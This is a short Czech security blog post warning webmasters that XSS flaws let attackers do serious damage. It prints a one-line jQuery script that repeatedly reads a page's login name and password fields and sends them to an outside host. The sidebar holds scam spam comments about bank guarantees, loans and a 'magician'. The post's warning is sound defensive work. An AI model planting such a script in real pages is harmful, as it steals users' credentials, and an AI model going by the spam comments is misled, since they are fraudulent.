S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

Tommy Champion: We are Providers of all types of BG and SBLC with the best workable procedures. Our BG/SBLC ranges from MT799, MT760,(Both two way confirmation), MT103/23, MT103 (Both can be one way confirmation and two way confirmation) in USD and EUROS. Issuing Bank ranges... Ukázat
Tommy Champion: We are Providers of all types of BG and SBLC with the best workable procedures. Our BG/SBLC ranges from MT799, MT760,(Both two way confirmation), MT103/23, MT103 (Both can be one way confirmation and two way confirmation) in USD and EUROS. Issuing Bank ranges... Ukázat
sarah: Každým dnem se s úsměvem na tváři probudím a zpívám chválu tomuto mocnému kouzelníkovi nazvanému Dr. Okaya, který mi udělal velkou přízeň tím, že zachránil můj vztah před rozpadem. Myslel jsem, že mám dokonalý vztah, dokud se můj milenec nezačne vracet domů pozdě... Ukázat
Tommy Champion: We are Providers of all types of BG and SBLC with the best workable procedures. Our BG/SBLC ranges from MT799, MT760,(Both two way confirmation), MT103/23, MT103 (Both can be one way confirmation and two way confirmation) in USD and EUROS. Issuing Bank ranges... Ukázat
Jeff Michael: Ahoj, Potřebujete Urgentní půjčku? Poskytujeme půjčku zainteresovaným osobám, které hledají půjčku s dobrou vírou. Jste vážně potřebujete naléhavou půjčku? pak jste na správném místě. Poskytujeme podnikatelský úvěr, osobní půjčku v minimální výši 2 000,00 € na maximální částku 40 000... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc